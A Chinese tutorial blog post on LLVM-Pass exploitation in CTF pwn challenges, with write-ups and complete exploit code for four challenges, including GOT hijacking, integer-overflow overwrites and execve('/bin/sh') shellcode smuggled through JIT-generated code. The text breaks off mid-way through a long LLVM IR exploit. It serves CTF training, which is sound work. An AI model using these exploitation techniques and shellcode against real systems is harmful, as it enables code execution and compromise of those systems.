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[原创]深入二进制安全：LLVM-Pass
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发表于: 2024-6-20 10:53
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LLVM-PASS
Ciscn2021和2022都有一道名为Satool的题目，它是LLVM-PASS类Pwn题。
由于高版本glibc的IO题比较模板化，近两年ciscn半决赛对LLVM-PASS等逆向难度较高的题目也都有所涉及。
本科期间在《编译原理》这门课学习过LLVM的一些基础知识，这里系统的总结下LLVM-PASS在二进制安全中的应用。
简介
LLVM
LLVM是构架编译器(compiler)的框架系统，以C++编写而成，用于优化以任意程序语言编写的程序的编译时间(compile-time)、链接时间(link-time)、运行时间(run-time)以及空闲时间(idle-time)，对开发者保持开放，并兼容已有脚本。
简单来说，LLVM是编译器框架，用于优化编写的程序。
LLVM又分为前端和后端：
- 前端：经过词法分析、语法分析、语义分析等环节，将源代码转换为IR中间代码。
- 后端：经过指令选择、指令调度、寄存器分配等环境，将IR中间代码转换为可执行的二进制代码或汇编代码。
其中，LLVM-IR有三种形式：
- .ll格式：介于高级语言和汇编语言之间，人类可以阅读的文本。
- .bc格式：bitcode，不可读，适合机器存储的二进制文件。
- 内存表示：保存在内存中，无法被看到。
通过下面的命令可以实现不同格式代码互相转换：
1 2 3 4 5 | .c -> .ll：clang -emit-llvm -S a.c -o a.ll.c -> .bc: clang -emit-llvm -c a.c -o a.bc.ll -> .bc: llvm-as a.ll -o a.bc.bc -> .ll: llvm-dis a.bc -o a.ll.bc -> .s: llc a.bc -o a.s |
LLVM-PASS
PASS是一种结构化技术，通常作用于IR中间代码，通过opt利用写好的so库优化已有的IR中间代码。
其中，opt是LLVM的优化器和分析器，可以加载指定的模块，对LLVM IR或LLVM字节码进行分析和优化。
CTF题目一般会给出opt，通过./opt --version查看版本，或在README.md文档中告知opt版本。
LLVM核心库中提供了一些可以继承的pass类，可以对IR中间代码遍历实现代码优化、代码插桩等操作。
而LLVM-PASS类的pwn题，就是利用这一过程中可能出现的漏洞。
LLVM PASS类题目都会给出一个xxx.so，即自定义的LLVM PASS模块，漏洞点就自然会出现在其中。
我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令加载模块并启动LLVM的优化分析（其中-xxx是xxx.so中注册的PASS的名称，README文档中一般会给出，也可以通过逆向PASS模块得到）。（注意，新版本需要加-enable-new-pm=0 -f参数）
需要注意的是，若题目给了opt文件，就用题目指定的opt文件启动LLVM并调试（如命令./opt-8 ...），直接使用opt-8 ...命令是用的系统安装的opt，可能会和题目所给的有不同。
在打远程的时候，与Kernel和QEMU逃逸的题类似：将exp.ll或exp.bc通过base64加密传输到远程服务器，远程服务器会解码，并将得到的LLVM IR传给LLVM运行。
环境安装
通过apt安装二进制安全中常用的三个版本clang和llvm：
1 2 3 4 5 6 7 8 | sudo apt install clang-8sudo apt install llvm-8 sudo apt install clang-10sudo apt install llvm-10 sudo apt install clang-12sudo apt install llvm-12 |
安装好llvm后，可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件（一般不开PIE保护）。
编写LLVM-PASS
官方文档：https://llvm.org/docs/WritingAnLLVMPass.html
这里直接引用Winmt师傅编写的LLVM-Pass Demo和关键语法解释：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | // Hello.cpp#include "llvm/Pass.h"#include "llvm/IR/Function.h"#include "llvm/IR/Constants.h"#include "llvm/IR/BasicBlock.h"#include "llvm/IR/Instructions.h"#include "llvm/Support/raw_ostream.h"#include "llvm/IR/LegacyPassManager.h"#include "llvm/Transforms/IPO/PassManagerBuilder.h"using namespace llvm; namespace { struct Hello : public FunctionPass { static char ID; Hello() : FunctionPass(ID) {} bool runOnFunction(Function &F) override { errs() << "Hello: "; errs().write_escaped(F.getName()) << '\n'; SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end(); for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){ SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin(); SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end(); for(; instIter != instEnd; ++instIter){ errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "\n"; if (instIter->getOpcode() == 56) { if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) { errs() << call_inst->getCalledFunction()->getName() << "\n"; for (int i = 0; i < instIter->getNumOperands()-1; i++) { if (isa<ConstantInt>(call_inst->getOperand(i))) { errs() << "Operand " << i << " = " << dyn_cast<ConstantInt>(call_inst->getArgOperand(i))->getZExtValue() << "\n"; } } } } } } return false; } };} char Hello::ID = 0; // Register for optstatic RegisterPass<Hello> X("Hello", "Hello World Pass"); // Register for clangstatic RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible, [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) { PM.add(new Hello()); }); |
通过下面的命令编译为LLVMHello.so模块（llvm安装后的可执行文件在/usr/lib/llvm-xx/bin/目录）：
1 | clang-12 `/usr/lib/llvm-12/bin/llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `/usr/lib/llvm-12/bin/llvm-config --ldflags` |
上述代码中的Hello结构体继承了LLVM核心库中的FunctionPass类，并重写了其中的runOnFunction函数（一般的CTF题都是如此）。runOnFunction函数在LLVM遍历到每一个传入的LLVM IR中的函数时都会被调用。
下面解释一下上述代码中的一些常用LLVM语法：
getName()函数用于获取当前runOnFunction正处理的函数名- 第一个
for循环是对当前处理的函数中的基本块（比如一些条件分支语句就会产生多个基本块，在生成的ll文件中，不同基本块之间会有换行）遍历，第二个for循环是对每个基本块中的指令遍历 - getOpcodeName()函数用于获取指令的操作符的名称，getNumOperands()用于获取指令的操作数的个数，getOpcode()函数用于获取指令的操作符编号，在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表，可以看到，56号对应着Call这个操作符。
- 当在一个
A函数中调用了B函数，在LLVM IR中，A会通过Call操作符调用B，getCalledFunction()函数就是用于获取此处B函数的名称 getOperand(i)是用于获取第i个操作数（在这里就是获取所调用函数的第i个参数），getArgOperand()函数与其用法类似，但只能获取参数，getZExtValue()即get Zero Extended Value，也就是将获取的操作数转为无符号扩展整数- 再看到最内层
for循环中的instIter->getNumOperands()-1，这里需要-1是因为对于call和invoke操作符，操作数的数量是实际参数的个数+1（因为将被调用者也当成了操作数） if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数（ConstantInt）static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称
逆向分析so模块
一般来说，CTF题目中的LLVM-Pass也重写FunctionPass类中的runOnFunction函数。
拿到一个so模块，我们首先需要定位runOnFunction函数，漏洞点一般就在其中。
找到.data.rel.ro模块末尾的vtable：
<img src="https://image.xxxb.cn/blog/image-20240610104031503.png" alt="image-20240610104031503" />
最后一项即重写的runOnFunction函数，而PASS注册的名称一般会在README.md文件中给出。
如果没有给出，可以对__cxa_atexit函数交叉引用来定位。
gdb动态调试so模块
首先用gdb调试opt，并用set args设置参数传入，然后在main函数下断点后运行。
程序运行后，会先call一些初始化函数：
然后执行真正的代码加载so模块：
此时，so模块被加载到程序中：
opt通过下面这条调用链重写runOnFunction函数：
1 | run -> runOnModule -> runOnFunction |
例题
红帽杯-2021 simpleVM
题目给了opt-8、libc-2.31.so和VMPass.so文件：
显然是LLVM-Pass类题目，并且opt的版本为8，我们将VMPass.so拖入IDA分析：
根据对__cxa_atexit函数交叉引用发现模块名为VMPass。
定位到上图中的runOnFunction函数，首先调用getName获取当前函数名，然后判断函数名是否为o0o0o0o0。
如果函数名为o0o0o0o0则调用memcmp(Name, "o0o0o0o0", v5)，然后根据是否调用memcpy调用sub_6AC0(a1, a2)。
显而易见，关键函数为sub_6AC0(a1, a2)，我们需要传入的函数名为o0o0o0o0。
继续分析sub_6AC0函数：
这段代码遍历所有函数，然后遍历每个函数的块并将每个块作为参数调用sub_6B80函数，继续跟进分析：
对于pop、push、store、load、add、min函数调用会做出不同的处理，以pop为例：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | if ( !strcmp(funcName, "pop") ){ if ( (unsigned int)llvm::CallBase::getNumOperands(callInstruction) == 2 ) { ArgOperand = llvm::CallBase::getArgOperand(callInstruction, 0); v32 = 0LL; v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand); if ( v31 ) { ZExtValue = llvm::ConstantInt::getZExtValue(v31); if ( ZExtValue == 1 ) v32 = off_20DFD0; if ( ZExtValue == 2 ) v32 = off_20DFC0; } if ( v32 ) { v3 = off_20DFD8; *v32 = *(_QWORD *)*off_20DFD8; *v3 = (char *)*v3 - 8; } }} |
所有的函数第一个参数为int类型，值为1或2，确定操作哪个全局变量。
这两个全局变量1和2中存储地址，因此是二级指针类型的变量。
对于push函数，实现压栈操作，将全局变量i的值压入栈中。
对于pop函数，实现弹栈操作，将栈顶元素弹出到全局变量i中。
对于store函数，实现任意地址写，将全局变量i指向的地址处的值赋值给全局变量k。
对于load函数，实现任意地址读，将全局变量i存储的地址赋值给全局变量k指向的地址处。
对于add函数，实现加法操作。对于min函数，实现减法操作。
可以考虑通过任意地址读泄露got表中函数地址，以此泄露libc基地址。
然后通过add、min函数对其进行修改，再利用任意地址写劫持got表为one_gadget。
exp如下所示：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // clang-8 -emit-llvm -S exp.c -o exp.llvoid add(int num, long long val);void min(int num, long long val);void load(int num);void store(int num);void o0o0o0o0(){ add(1, 0x77e100); load(1); add(2, 0x4942e); // add(1, 0x870); min(1, 0x100); store(1);} |
Ciscn2021-satool
分析方法同上，找到模块名为SApass。然后找到vtable最后一项函数：
字符串为r0oDkc4B，转为小端序为B4ckDo0r。
根据compare函数，可以大概把程序划分为save、takeaway、stealkey、fakeway函数四个部分。
由于反编译后的代码都很奇怪，需要结合动态调试来分析。
动态调试发现save主要执行这段代码：
1 2 3 4 5 6 7 8 9 10 | v32 = malloc(0x18uLL);v32[2] = byte_2040f8;byte_2040f8 = v32;v33 = (char *)src;memcpy(v32, src, v31);v34 = v32 + 1;v35 = (char *)v84[0];memcpy(v34, v84[0], (size_t)v84[1]); |
即将参数1和参数2分别放入fd、bk中，v32和byte_2040f8是0x20大小chunk的指针。
takeaway函数比较复杂，但是好像没有什么用。
stealkey函数代码比较简单，将0x20大小chunk的值赋值给全局变量。
fakekey函数也比较简单，将全局变量的值加上参数值，然后赋值回到chunk中。
run函数最简单，直接call *chunk。
思路很明显，先通过save函数创建chunk，然后将fd指针的值放到全局变量，加上偏移到one_gadget后写回chunk。
最后调用run函数执行one_gadget。这里的关键是fd位置能否是libc上的值？
经过调试发现，程序初始状态有很多chunk。我们可以申请完tcache后从small bin或unsorted bin中取chunk。
然后绕过第一个memcpy，这样申请到的chunk的fd指针位置就会有残留的libc地址。
完整exp如下所示：
1 2 3 4 5 6 7 8 9 10 11 12 13 | void save(char* a, char* b);void stealkey();void fakekey(int offset);void run();void B4ckDo0r(){ save(0, "bbbb"); save(0, "bbbb"); stealkey(); fakekey(-0x5c30f2); run();} |
强网杯2022-YakaGame
按照之前的方法，发现模块名为ayaka。函数名为gamestart。
这道题比起来Ciscn2021-satool简单多了，因为代码可读性非常高，而且做多了LLVM-PASS发现很多代码语法都是相似的。
fight函数，传入参数index，若weaponList[index] > 5000，scroe = weaponList[index] - 5000，否则失败。
若score > 0x12345678触发后门函数，执行system(cmd)。cmd开始时被初始化为[0x92, 0x68, 0x7B, 0x27, 0x6D, 0x93, 0x68, 0x66]。
merge函数，执行weaponlist[merge_arg1] += weaponlist[merge_arg2]。
destory函数，执行weaponlist[destory_arg1] = 0。
upgrade函数，执行256次weaponlist[i] += upgrade_arg1;。
wuxiangdeyidao函数，执行--boss和异或操作，其中boss即bss段初始化为5000的全局变量。
1 2 3 | --boss;for ( m = 0; m < 8; ++m ) cmd[m] ^= 0x14u; |
zhanjinniuza函数，执行下面的操作：
1 2 3 | boss -= 2;for ( n = 0; n < 8; ++n ) cmd[n] ^= 0x7Fu; |
guobapenhuo函数，执行下面的操作：
1 2 3 | boss -= 3;for ( ii = 0; ii < 8; ++ii ) cmd[ii] -= 9; |
tiandongwanxiang函数，执行下面的操作：
1 2 3 | boss -= 80;for ( jj = 0; jj < 8; ++jj ) cmd[jj] += 2; |
若为其它函数，会进入最后一个代码块：
若当前函数第一次调用，会执行map[func_name] = arg加入map成员。
若当前函数不是第一次调用，会执行weaponlist[idx] = map[func_name]。
通过这个函数，我们可以实现任意地址写。更有意思的是：
weaponlist、score和cmd在bss段相邻，而idx是char类型变量，可以让它发生整数溢出。
从而覆盖score指针，让其指向很大的数，并覆盖cmd为sh字符串地址。完整exp如下所示：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 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simplicity005(int arg);void simplicity006(int arg);void simplicity007(int arg);void simplicity008(int arg);void simplicity009(int arg);void simplicity010(int arg);void simplicity011(int arg);void simplicity012(int arg);void simplicity013(int arg);void simplicity014(int arg);void simplicity015(int arg);void simplicity016(int arg);void simplicity017(int arg);void simplicity018(int arg);void simplicity019(int arg);void simplicity020(int arg);void simplicity021(int arg);void simplicity022(int arg);void simplicity023(int arg);void simplicity024(int arg);void simplicity025(int arg);void simplicity026(int arg);void simplicity027(int arg);void simplicity028(int arg);void simplicity029(int arg);void simplicity030(int arg);void simplicity031(int arg);void simplicity032(int arg);void simplicity033(int arg);void simplicity034(int arg);void simplicity035(int arg);void simplicity036(int arg);void simplicity037(int arg);void simplicity038(int arg);void simplicity039(int arg);void simplicity040(int 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simplicity147(int arg);void simplicity148(int arg);void simplicity149(int arg);void simplicity150(int arg);void simplicity151(int arg);void simplicity152(int arg);void simplicity153(int arg);void simplicity154(int arg);void simplicity155(int arg);void simplicity156(int arg);void simplicity157(int arg);void simplicity158(int arg);void simplicity159(int arg);void simplicity160(int arg);void simplicity161(int arg);void simplicity162(int arg);void simplicity163(int arg);void simplicity164(int arg);void simplicity165(int arg);void simplicity166(int arg);void simplicity167(int arg);void simplicity168(int arg);void simplicity169(int arg);void simplicity170(int arg);void simplicity171(int arg);void simplicity172(int arg);void simplicity173(int arg);void simplicity174(int arg);void simplicity175(int arg);void simplicity176(int arg);void simplicity177(int arg);void simplicity178(int arg);void simplicity179(int arg);void simplicity180(int arg);void simplicity181(int arg);void simplicity182(int arg);void simplicity183(int arg);void simplicity184(int arg);void simplicity185(int arg);void simplicity186(int arg);void simplicity187(int arg);void simplicity188(int arg);void simplicity189(int arg);void simplicity190(int arg);void simplicity191(int arg);void simplicity192(int arg);void simplicity193(int arg);void simplicity194(int arg);void simplicity195(int arg);void simplicity196(int arg);void simplicity197(int arg);void simplicity198(int arg);void simplicity199(int arg);void simplicity200(int arg);void simplicity201(int arg);void simplicity202(int arg);void simplicity203(int arg);void simplicity204(int arg);void simplicity205(int arg);void simplicity206(int arg);void simplicity207(int arg);void simplicity208(int arg);void simplicity209(int arg);void simplicity210(int arg);void simplicity211(int arg);void simplicity212(int arg);void simplicity213(int arg);void simplicity214(int arg);void simplicity215(int arg);void simplicity216(int arg);void simplicity217(int arg);void simplicity218(int arg);void simplicity219(int arg);void simplicity220(int arg);void simplicity221(int arg);void simplicity222(int arg);void simplicity223(int arg);void simplicity224(int arg);void simplicity225(int arg);void simplicity226(int arg);void simplicity227(int arg);void simplicity228(int arg);void simplicity229(int arg);void simplicity230(int arg);void simplicity231(int arg);void simplicity232(int arg);void simplicity233(int arg);void simplicity234(int arg);void simplicity235(int arg);void simplicity236(int arg);void simplicity237(int arg);void simplicity238(int arg);void simplicity239(int arg);void simplicity240(int arg);void simplicity241(int arg);void gamestart(){ simplicity001(0); simplicity002(0); simplicity003(0); simplicity004(0); simplicity005(0); simplicity006(0); simplicity007(0); simplicity008(0); simplicity009(0); simplicity010(0); simplicity011(0); simplicity012(0); simplicity013(0); simplicity014(0); simplicity015(0); simplicity016(0); simplicity017(0); simplicity018(0); simplicity019(0); simplicity020(0); simplicity021(0); simplicity022(0); simplicity023(0); simplicity024(0); simplicity025(0); simplicity026(0); simplicity027(0); simplicity028(0); simplicity029(0); simplicity030(0); simplicity031(0); simplicity032(0); simplicity033(0); simplicity034(0); simplicity035(0); simplicity036(0); simplicity037(0); simplicity038(0); simplicity039(0); simplicity040(0); simplicity041(0); simplicity042(0); simplicity043(0); simplicity044(0); simplicity045(0); simplicity046(0); simplicity047(0); simplicity048(0); simplicity049(0); simplicity050(0); simplicity051(0); simplicity052(0); simplicity053(0); simplicity054(0); simplicity055(0); simplicity056(0); simplicity057(0); simplicity058(0); simplicity059(0); simplicity060(0); simplicity061(0); simplicity062(0); simplicity063(0); simplicity064(0); simplicity065(0); simplicity066(0); simplicity067(0); simplicity068(0); simplicity069(0); simplicity070(0); simplicity071(0); simplicity072(0); simplicity073(0); simplicity074(0); simplicity075(0); simplicity076(0); simplicity077(0); simplicity078(0); simplicity079(0); simplicity080(0); simplicity081(0); simplicity082(0); simplicity083(0); simplicity084(0); simplicity085(0); simplicity086(0); simplicity087(0); simplicity088(0); simplicity089(0); simplicity090(0); simplicity091(0); simplicity092(0); simplicity093(0); simplicity094(0); simplicity095(0); simplicity096(0); simplicity097(0); simplicity098(0); simplicity099(0); simplicity100(0); simplicity101(0); simplicity102(0); simplicity103(0); simplicity104(0); simplicity105(0); simplicity106(0); simplicity107(0); simplicity108(0); simplicity109(0); simplicity110(0); simplicity111(0); simplicity112(0); simplicity113(0); simplicity114(0); simplicity115(0); simplicity116(0); simplicity117(0); simplicity118(0); simplicity119(0); simplicity120(0); simplicity121(0); simplicity122(0); simplicity123(0); simplicity124(0); simplicity125(0); simplicity126(0); simplicity127(0); simplicity128(0); simplicity129(0); simplicity130(0); simplicity131(0); simplicity132(0); simplicity133(0); simplicity134(0); simplicity135(0); simplicity136(0); simplicity137(0); simplicity138(0); simplicity139(0); simplicity140(0); simplicity141(0); simplicity142(0); simplicity143(0); simplicity144(0); simplicity145(0); simplicity146(0); simplicity147(0); simplicity148(0); simplicity149(0); simplicity150(0); simplicity151(0); simplicity152(0); simplicity153(0); simplicity154(0); simplicity155(0); simplicity156(0); simplicity157(0); simplicity158(0); simplicity159(0); simplicity160(0); simplicity161(0); simplicity162(0); simplicity163(0); simplicity164(0); simplicity165(0); simplicity166(0); simplicity167(0); simplicity168(0); simplicity169(0); simplicity170(0); simplicity171(0); simplicity172(0); simplicity173(0); simplicity174(0); simplicity175(0); simplicity176(0); simplicity177(0); simplicity178(0); simplicity179(0); simplicity180(0); simplicity181(0); simplicity182(0); simplicity183(0); simplicity184(0); simplicity185(0); simplicity186(0); simplicity187(0); simplicity188(0); simplicity189(0); simplicity190(0); simplicity191(0); simplicity192(0); simplicity193(0); simplicity194(0); simplicity195(0); simplicity196(0); simplicity197(0); simplicity198(0); simplicity199(0); simplicity200(0); simplicity201(0); simplicity202(0); simplicity203(0); simplicity204(0); simplicity205(0); simplicity206(0); simplicity207(0); simplicity208(0); simplicity209(0); simplicity210(0); simplicity211(0); simplicity212(0); simplicity213(0); simplicity214(0); simplicity215(0); simplicity216(0); simplicity217(0); simplicity218(0); simplicity219(0); simplicity220(0); simplicity221(0); simplicity222(0); simplicity223(0); simplicity224(0); simplicity225(0); simplicity226(0); simplicity227(0); simplicity228(0); simplicity229(0); simplicity230(0); simplicity231(0); simplicity232(0); simplicity233(0x6B); simplicity234(0X69); simplicity235(0X44); simplicity236(0); simplicity237(0); simplicity238(0); simplicity239(0); simplicity240(0); simplicity241(0x90); simplicity241(0x90); // score pointer // sh\x00 simplicity233(0x6B); simplicity234(0x69); simplicity235(0x44); simplicity236(0x00);} |
这里有个坑调试了1个多小时，map里是按字典序进行排的！
Ciscn2022-satool
分析发现模块名为mba，并且对函数名没有要求。
核心代码在这个地方，先设置为可读可写，然后设置为可读可执行，最后call调用。
然后分析一下这个handler函数：
先来分析几个程序实现的关键函数，分析一下关键函数writeMovImm64：
this+5应该为当前的指针ptr，这个函数根据在内存中写入48 BB [arg] 或 48 B8 [arg]，10字节的汇编指令。
经过分析发现对应的汇编代码为：
即writeMovImm64(this, 0, arg)是movaps rax arg。
继续分析writeRet函数，发现是在末尾写ret指令：
继续分析writeInc函数，发现是对rax寄存器进行inc或dec操作：
继续分析writeOpReg函数，发现是进行rax = rax + rbx 或 rax = rax - rbx操作：
了解了所有函数的工作，对整个handler的流程进行分析。
首先，为我们的shellcode汇编代码区域设置了边界，大小为0xFF0。
然后，判断末尾指令第一个操作数是否为常数，若为常数，执行writeMovImm64(this, 0, SExtValue)和writeRet(this)。
接着，判断末尾指令第一个操作数是否为函数参数，若为函数参数，执行writeMovImm64(this, 0, SExtValue)和writeRet(this)。
如果都不是，说明为变量。执行else中的代码，先执行writeMovImm64(this, 0, 0LL)。
然后将操作数压入栈中，找到这个变量对应的指令行，只能为add或sub指令，然后取指令的操作数：
- 若操作数为+1或-1执行writeInc()，否则执行writeMovImm64和writeOpReg。
- 如果不是常数也不是参数，说明是变量，压入栈中。
动态调试发现成功写入汇编代码，并且初始值全部为ret：
movabs和add命令共占0xd字节，(0xff0 - 0xa) / 0xd = 313。可以先使用313次填充完0xFF0大小的边界区域。
不过经过动态调试，有315个指令时会溢出几个字节：
如果将最后一条指令的数据部分修改为jmp指令，第二次执行完0xff0大小区域后会ret执行这个数据部分。
然后在之前的部分填充shellcode即可：
需要注意的是shellcode必须分段填充进去，每句指令不能超过6字节，留2个字节jmp到下一个指令：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import*context(os = 'linux', arch = 'amd64') shellcode = [ "mov edi, 0x68732f6e", "shl rdi, 24", "mov ebx, 0x69622f", "add rdi, rbx", "push rdi", "push rsp", "pop rdi", "xor rsi, rsi", "xor rdx, rdx", "push 59", "pop rax", "syscall"] for sc in shellcode: print(u64(asm(sc).ljust(6, b'\x90') + b'\xEB\xEB')) print(u16(b'\xEB\xE4')) # 最后超出0xff0字节部分的跳转指令 |
完整exp如下所示：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 | ; ModuleID = 'exp.c'source_filename = "exp.c"target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu"; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload1(i64 %0) #0 { %2 = add nsw i64 %0, 58603 %3 = add nsw i64 %2, 1024 %4 = add nsw i64 %3, 1024 %5 = add nsw i64 %4, 1024 %6 = add nsw i64 %5, 1024 %7 = add nsw i64 %6, 1024 %8 = add nsw i64 %7, 1024 %9 = add nsw i64 %8, 1024 %10 = add nsw i64 %9, 1024 %11 = add nsw i64 %10, 1024 %12 = add nsw i64 %11, 1024 %13 = add nsw i64 %12, 1024 %14 = add nsw i64 %13, 1024 %15 = add nsw i64 %14, 1024 %16 = add nsw i64 %15, 1024 %17 = add nsw i64 %16, 1024 %18 = add nsw i64 %17, 1024 %19 = add nsw i64 %18, 1024 %20 = add nsw i64 %19, 1024 %21 = add nsw i64 %20, 1024 %22 = add nsw i64 %21, 1024 %23 = add nsw i64 %22, 1024 %24 = add nsw i64 %23, 1024 %25 = add nsw i64 %24, 1024 %26 = add nsw i64 %25, 1024 %27 = add nsw i64 %26, 1024 %28 = add nsw i64 %27, 1024 %29 = add nsw i64 %28, 1024 %30 = add nsw i64 %29, 1024 %31 = add nsw i64 %30, 1024 %32 = add nsw i64 %31, 1024 %33 = add nsw i64 %32, 1024 %34 = add nsw i64 %33, 1024 %35 = add nsw i64 %34, 1024 %36 = add nsw i64 %35, 1024 %37 = add nsw i64 %36, 1024 %38 = add nsw i64 %37, 1024 %39 = add nsw i64 %38, 1024 %40 = add nsw i64 %39, 1024 %41 = add nsw i64 %40, 1024 %42 = add nsw i64 %41, 1024 %43 = add nsw i64 %42, 1024 %44 = add nsw i64 %43, 1024 %45 = add nsw i64 %44, 1024 %46 = add nsw i64 %45, 1024 %47 = add nsw i64 %46, 1024 %48 = add nsw i64 %47, 1024 %49 = add nsw i64 %48, 1024 %50 = add nsw i64 %49, 1024 %51 = add nsw i64 %50, 1024 %52 = add nsw i64 %51, 1024 %53 = add nsw i64 %52, 1024 %54 = add nsw i64 %53, 1024 %55 = add nsw i64 %54, 1024 %56 = add nsw i64 %55, 1024 %57 = add nsw i64 %56, 1024 %58 = add nsw i64 %57, 1024 %59 = add nsw i64 %58, 1024 %60 = add nsw i64 %59, 1024 %61 = add nsw i64 %60, 1024 %62 = add nsw i64 %61, 1024 %63 = add nsw i64 %62, 1024 %64 = add nsw i64 %63, 1024 %65 = add nsw i64 %64, 1024 %66 = add nsw i64 %65, 1024 %67 = add nsw i64 %66, 1024 %68 = add nsw i64 %67, 1024 %69 = add nsw i64 %68, 1024 %70 = add nsw i64 %69, 1024 %71 = add nsw i64 %70, 1024 %72 = add nsw i64 %71, 1024 %73 = add nsw i64 %72, 1024 %74 = add nsw i64 %73, 1024 %75 = add nsw i64 %74, 1024 %76 = add nsw i64 %75, 1024 %77 = add nsw i64 %76, 1024 %78 = add nsw i64 %77, 1024 %79 = add nsw i64 %78, 1024 %80 = add nsw i64 %79, 1024 %81 = add nsw i64 %80, 1024 %82 = add nsw i64 %81, 1024 %83 = add nsw i64 %82, 1024 %84 = add nsw i64 %83, 1024 %85 = add nsw i64 %84, 1024 %86 = add nsw i64 %85, 1024 %87 = add nsw i64 %86, 1024 %88 = add nsw i64 %87, 1024 %89 = add nsw i64 %88, 1024 %90 = add nsw i64 %89, 1024 %91 = add nsw i64 %90, 1024 %92 = add nsw i64 %91, 1024 %93 = add nsw i64 %92, 1024 %94 = add nsw i64 %93, 1024 %95 = add nsw i64 %94, 1024 %96 = add nsw i64 %95, 1024 %97 = add nsw i64 %96, 1024 %98 = add nsw i64 %97, 1024 %99 = add nsw i64 %98, 1024 %100 = add nsw i64 %99, 1024 %101 = add nsw i64 %100, 1024 %102 = add nsw i64 %101, 1024 %103 = add nsw i64 %102, 1024 %104 = add nsw i64 %103, 